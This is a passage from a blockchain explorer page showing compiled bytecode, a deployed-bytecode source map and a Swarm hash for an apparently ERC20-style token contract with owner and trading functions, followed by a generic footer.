0602083013561118c816110c6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111e557815f19048211156111cb576111cb611197565b808516156111d857918102915b93841c93908002906111b0565b509250929050565b5f826111fb575060016102ce565b8161120757505f6102ce565b816001811461121d576002811461122757611243565b60019150506102ce565b60ff84111561123857611238611197565b50506001821b6102ce565b5060208310610133831016604e8410600b8410161715611266575081810a6102ce565b61127083836111ab565b805f190482111561128357611283611197565b029392505050565b5f610dc860ff8416836111ed565b80820281158282048414176102ce576102ce611197565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156112f5575f80fd5b8151610dc8816110c6565b5f805f60608486031215611312575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161133c5761133c611197565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b818103818111156102ce576102ce611197565b5f8261138457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113d95784516001600160a01b0316835293830193918301916001016113b4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102ce576102ce61119756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202983ee71b238e6452b520580b642943e0c242afb18bdc75a4d9434fe789d43de64736f6c63430008190033

Deployed Bytecode Sourcemap

3651:6480:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5824:83;;;;;;;;;;-1:-1:-1;5894:5:0;;;;;;;;;;;;-1:-1:-1;;;5894:5:0;;;;5824:83;;;;;;;:::i;:::-;;;;;;;;6657:161;;;;;;;;;;-1:-1:-1;6657:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6657:161:0;893:187:1;6101:95:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;6101:95:0;1085:177:1;6826:313:0;;;;;;;;;;-1:-1:-1;6826:313:0;;;;;:::i;:::-;;:::i;6010:83::-;;;;;;;;;;-1:-1:-1;6010:83:0;;4063:1;1870:36:1;;1858:2;1843:18;6010:83:0;1728:184:1;6204:119:0;;;;;;;;;;-1:-1:-1;6204:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6297:18:0;6270:7;6297:18;;;:9;:18;;;;;;;6204:119;3494:148;;;;;;;;;;;;;:::i;:::-;;3280:79;;;;;;;;;;-1:-1:-1;3318:7:0;3345:6;3280:79;;-1:-1:-1;;;;;3345:6:0;;;2315:51:1;;2303:2;2288:18;3280:79:0;2169:203:1;5915:87:0;;;;;;;;;;-1:-1:-1;5987:7:0;;;;;;;;;;;;-1:-1:-1;;;5987:7:0;;;;5915:87;;5195:301;;;;;;;;;;;;;:::i;6331:167::-;;;;;;;;;;-1:-1:-1;6331:167:0;;;;;:::i;:::-;;:::i;5504:312::-;;;;;;;;;;;;;:::i;6506:143::-;;;;;;;;;;-1:-1:-1;6506:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6614:18:0;;;6587:7;6614:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6506:143;6657:161;6732:4;6749:39;2813:10;6772:7;6781:6;6749:8;:39::i;:::-;-1:-1:-1;6806:4:0;6657:161;;;;;:::o;6101:95::-;6154:7;4119:13;4063:1;4119:2;:13;:::i;:::-;4106:26;;:10;:26;:::i;:::-;6174:14;;6101:95;:::o;6826:313::-;6924:4;6941:36;6951:6;6959:9;6970:6;6941:9;:36::i;:::-;6988:121;6997:6;2813:10;7019:89;7057:6;7019:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7019:19:0;;;;;;:11;:19;;;;;;;;2813:10;7019:33;;;;;;;;;;:37;:89::i;:::-;6988:8;:121::i;:::-;-1:-1:-1;7127:4:0;6826:313;;;;;:::o;3494:148::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2813:10;3407:22;3399:67;;;;-1:-1:-1;;;3399:67:0;;;;;;;:::i;:::-;;;;;;;;;3601:1:::1;3585:6:::0;;3564:40:::1;::::0;-1:-1:-1;;;;;3585:6:0;;::::1;::::0;3564:40:::1;::::0;3601:1;;3564:40:::1;3632:1;3615:19:::0;;-1:-1:-1;;;;;;3615:19:0::1;::::0;;3494:148::o;5195:301::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2813:10;3407:22;3399:67;;;;-1:-1:-1;;;3399:67:0;;;;;;;:::i;:::-;5249:10:::1;:71:::0;;-1:-1:-1;;;;;;5249:71:0::1;5277:42;5249:71:::0;;::::1;::::0;;;5331:53:::1;::::0;5348:4:::1;::::0;4119:13:::1;4063:1;4119:2;:13;:::i;:::-;4106:26;::::0;:10:::1;:26;:::i;5331:53::-;5422:10;;;;;;;;;-1:-1:-1::0;;;;;5422:10:0::1;-1:-1:-1::0;;;;;5422:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5406:48:0::1;;5463:4;5470:10;;;;;;;;;-1:-1:-1::0;;;;;5470:10:0::1;-1:-1:-1::0;;;;;5470:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5406:82;::::0;-1:-1:-1;;;;;;5406:82:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;5406:82:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;5406:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5395:8;:93:::0;;-1:-1:-1;;;;;;5395:93:0::1;-1:-1:-1::0;;;;;5395:93:0;;;::::1;::::0;;;::::1;::::0;;5195:301::o;6331:167::-;6409:4;6426:42;2813:10;6450:9;6461:6;6426:9;:42::i;5504:312::-;3407:6;;-1:-1:-1;;;;;3407:6:0;2813:10;3407:22;3399:67;;;;-1:-1:-1;;;3399:67:0;;;;;;;:::i;:::-;5568:15:::1;::::0;::::1;::::0;::::1;;;5567:16;5559:51;;;::::0;-1:-1:-1;;;5559:51:0;;5580:2:1;5559:51:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;5559:51:0::1;5378:347:1::0;5559:51:0::1;5621:10;::::0;-1:-1:-1;;;;;5621:10:0::1;:26;5655:21;5686:4;5692:24;5686:4:::0;-1:-1:-1;;;;;6297:18:0;6270:7;6297:18;;;:9;:18;;;;;;;6204:119;5692:24:::1;5717:1;5719::::0;5721:7:::1;3318::::0;3345:6;-1:-1:-1;;;;;3345:6:0;;3280:79;5721:7:::1;5621:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5621:124:0;;;-1:-1:-1;;;;;6089:15:1;;;5621:124:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;5729:15:0::1;6303:19:1::0;;;6296:35;6005:19;;5621:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5756:12:0::1;:19:::0;;-1:-1:-1;;5786:22:0;;;;;-1:-1:-1;5504:312:0:o;7147:335::-;-1:-1:-1;;;;;7240:19:0;;7232:68;;;;-1:-1:-1;;;7232:68:0;;6855:2:1;7232:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;7232:68:0;6653:400:1;7232:68:0;-1:-1:-1;;;;;7319:21:0;;7311:68;;;;-1:-1:-1;;;7311:68:0;;7260:2:1;7311:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;7311:68:0;7058:398:1;7311:68:0;-1:-1:-1;;;;;7390:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7442:32;;1231:25:1;;;7442:32:0;;1204:18:1;7442:32:0;;;;;;;7147:335;;;:::o;7490:1911::-;-1:-1:-1;;;;;7581:19:0;;7573:69;;;;-1:-1:-1;;;7573:69:0;;7663:2:1;7573:69:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;7573:69:0;7461:401:1;7573:69:0;-1:-1:-1;;;;;7661:19:0;;7653:67;;;;-1:-1:-1;;;7653:67:0;;8069:2:1;7653:67:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;7653:67:0;7867:399:1;7653:67:0;7747:1;7739:5;:9;7731:63;;;;-1:-1:-1;;;7731:63:0;;8473:2:1;7731:63:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;7731:63:0;8271:405:1;7731:63:0;7826:53;;;;;;;;-1:-1:-1;;;;;7826:53:0;;;;;7860:8;;;;7826:53;;;;7870:8;;;7826:53;;;;;;;7805:17;;7903:7;3318;3345:6;-1:-1:-1;;;;;3345:6:0;;3280:79;7903:7;-1:-1:-1;;;;;7894:16:0;:5;-1:-1:-1;;;;;7894:16:0;;;:36;;;;-1:-1:-1;3318:7:0;3345:6;-1:-1:-1;;;;;7914:16:0;;;3345:6;;7914:16;;7894:36;7890:1013;;;7959:75;8030:3;7959:66;7980:15;;7970:9;;:25;7969:55;;8010:14;;7969:55;;;7997:12;;7969:55;7959:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8064:8;;7947:87;;-1:-1:-1;;;;;;8055:17:0;;;8064:8;;8055:17;:49;;;;-1:-1:-1;8093:10:0;;-1:-1:-1;;;;;8076:28:0;;;8093:10;;8076:28;;8055:49;:77;;;;-1:-1:-1;;;;;;8110:22:0;;;;;;:15;:22;;;;;;;;8108:24;8055:77;8051:130;;;8154:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8051:130;8209:8;;-1:-1:-1;;;;;8200:17:0;;;8209:8;;8200:17;:42;;;;-1:-1:-1;;;;;;8221:21:0;;8237:4;8221:21;;8200:42;8197:172;;;8275:78;8349:3;8275:69;8296:16;;8286:9;;:26;8285:58;;8328:15;;8285:58;;;8314:13;;8275:5;;:9;:69::i;:78::-;8263:90;;8197:172;8434:4;8385:28;6297:18;;;:9;:18;;;;;;8460:6;;;;8459:7;:28;;;;-1:-1:-1;8479:8:0;;-1:-1:-1;;;;;8470:17:0;;;8479:8;;8470:17;8459:28;:44;;;;-1:-1:-1;8491:12:0;;;;;;;8459:44;:78;;;;;8519:18;;8507:9;;:30;8459:78;8455:437;;;8584:11;;8561:20;:34;8558:124;;;8614:68;8631:50;8635:5;8642:38;8646:20;8668:11;;8642:3;:38::i;:::-;8631:3;:50::i;:::-;8614:16;:68::i;:::-;8730:21;8822:35;8835:21;8822:12;:35::i;:::-;8539:353;8455:437;7932:971;7890:1013;8918:11;;8915:162;;8986:4;8968:24;;;;:9;:24;;;;;;:39;;8997:9;8968:28;:39::i;:::-;8961:4;8943:24;;;;:9;:24;;;;;;;:64;;;;9025:40;;-1:-1:-1;;;;;9025:40:0;;;;;;;9055:9;1231:25:1;;1219:2;1204:18;;1085:177;9025:40:0;;;;;;;;8915:162;9123:20;:5;9133:9;9123;:20::i;:::-;9101:8;;-1:-1:-1;;;;;9089:21:0;;;;;;;:11;9101:8;9089:21;;;;;;;9111:8;;;;9089:31;;;;;;;;;:54;9188:20;:5;9198:9;9188;:20::i;:::-;9166:8;;-1:-1:-1;;;;;9154:21:0;;;;;;;:11;9166:8;9154:21;;;;;;;9176:8;;;;9154:31;;;;;;;;;:54;;;;9236:16;;;;;:9;:16;;;;;:27;;9257:5;9236:20;:27::i;:::-;-1:-1:-1;;;;;9219:16:0;;;;;;:9;:16;;;;;:44;9291:42;9312:20;:5;9322:9;9312;:20::i;:::-;-1:-1:-1;;;;;9291:16:0;;;;;;:9;:16;;;;;;;:20;:42::i;:::-;-1:-1:-1;;;;;9274:16:0;;;;;;;:9;:16;;;;;:59;;;;9349:44;;;9372:20;:5;9382:9;9372;:20::i;:::-;9349:44;;1231:25:1;;;1219:2;1204:18;9349:44:0;;;;;;;7562:1839;;7490:1911;;;:::o;601:190::-;687:7;723:12;715:6;;;;707:29;;;;-1:-1:-1;;;707:29:0;;;;;;;;:::i;:::-;-1:-1:-1;747:9:0;759:5;763:1;759;:5;:::i;:::-;747:17;601:190;-1:-1:-1;;;;;601:190:0:o;799:246::-;857:7;881:1;886;881:6;877:47;;-1:-1:-1;911:1:0;904:8;;877:47;934:9;946:5;950:1;946;:5;:::i;:::-;934:17;-1:-1:-1;979:1:0;970:5;974:1;934:17;970:5;:::i;:::-;:10;962:56;;;;-1:-1:-1;;;962:56:0;;9510:2:1;962:56:0;;;9492:21:1;9549:2;9529:18;;;9522:30;9588:34;9568:18;;;9561:62;-1:-1:-1;;;9639:18:1;;;9632:31;9680:19;;962:56:0;9308:397:1;962:56:0;1036:1;799:246;-1:-1:-1;;;799:246:0:o;1053:132::-;1111:7;1138:39;1142:1;1145;1138:39;;;;;;;;;;;;;;;;;:3;:39::i;9409:99::-;9466:7;9494:1;9492;:3;9491:9;;9499:1;9491:9;;;-1:-1:-1;9497:1:0;9409:99;-1:-1:-1;9409:99:0:o;9660:468::-;4828:6;:13;;-1:-1:-1;;4828:13:0;4837:4;4828:13;;;9762:16:::1;::::0;;9776:1:::1;9762:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9762:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9762:16:0::1;9738:40;;9807:4;9789;9794:1;9789:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9789:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9833:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9833:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9789:7;;9833:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9823:4;9828:1;9823:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9823:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9893:10:::1;::::0;9861:57:::1;::::0;9878:4:::1;::::0;9893:10:::1;9906:11:::0;9861:8:::1;:57::i;:::-;9929:10;::::0;:191:::1;::::0;-1:-1:-1;;;9929:191:0;;-1:-1:-1;;;;;9929:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;10005:11;;9929:10:::1;::::0;10047:4;;10074::::1;::::0;10094:15:::1;::::0;9929:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4864:6:0;:14;;-1:-1:-1;;4864:14:0;;;-1:-1:-1;;;;9660:468:0:o;9516:99::-;9581:8;;9573:34;;-1:-1:-1;;;;;9581:8:0;;;;9573:34;;;;;9600:6;;9581:8;9573:34;9581:8;9573:34;9600:6;9581:8;9573:34;;;;;;;;;;;;;;;;;;;;;9516:99;:::o;270:179::-;328:7;;360:5;364:1;360;:5;:::i;:::-;348:17;;389:1;384;:6;;376:46;;;;-1:-1:-1;;;376:46:0;;11159:2:1;376:46:0;;;11141:21:1;11198:2;11178:18;;;11171:30;11237:29;11217:18;;;11210:57;11284:18;;376:46:0;10957:351:1;457:136:0;515:7;542:43;546:1;549;542:43;;;;;;;;;;;;;;;;;:3;:43::i;1193:189::-;1279:7;1314:12;1307:5;1299:28;;;;-1:-1:-1;;;1299:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1338:9:0;1350:5;1354:1;1350;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;8681:135::-;8720:3;8741:17;;;8738:43;;8761:18;;:::i;:::-;-1:-1:-1;8808:1:1;8797:13;;8681:135::o;8821:127::-;8882:10;8877:3;8873:20;8870:1;8863:31;8913:4;8910:1;8903:15;8937:4;8934:1;8927:15;8953:128;9020:9;;;9041:11;;;9038:37;;;9055:18;;:::i;9086:217::-;9126:1;9152;9142:132;;9196:10;9191:3;9187:20;9184:1;9177:31;9231:4;9228:1;9221:15;9259:4;9256:1;9249:15;9142:132;-1:-1:-1;9288:9:1;;9086:217::o;9842:980::-;10104:4;10152:3;10141:9;10137:19;10183:6;10172:9;10165:25;10209:2;10247:6;10242:2;10231:9;10227:18;10220:34;10290:3;10285:2;10274:9;10270:18;10263:31;10314:6;10349;10343:13;10380:6;10372;10365:22;10418:3;10407:9;10403:19;10396:26;;10457:2;10449:6;10445:15;10431:29;;10478:1;10488:195;10502:6;10499:1;10496:13;10488:195;;;10567:13;;-1:-1:-1;;;;;10563:39:1;10551:52;;10658:15;;;;10623:12;;;;10599:1;10517:9;10488:195;;;-1:-1:-1;;;;;;;10739:32:1;;;;10734:2;10719:18;;10712:60;-1:-1:-1;;;10803:3:1;10788:19;10781:35;10700:3;9842:980;-1:-1:-1;;;9842:980:1:o;10827:125::-;10892:9;;;10913:10;;;10910:36;;;10926:18;;:::i

Swarm Source

ipfs://2983ee71b238e6452b520580b642943e0c242afb18bdc75a4d9434fe789d43de
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.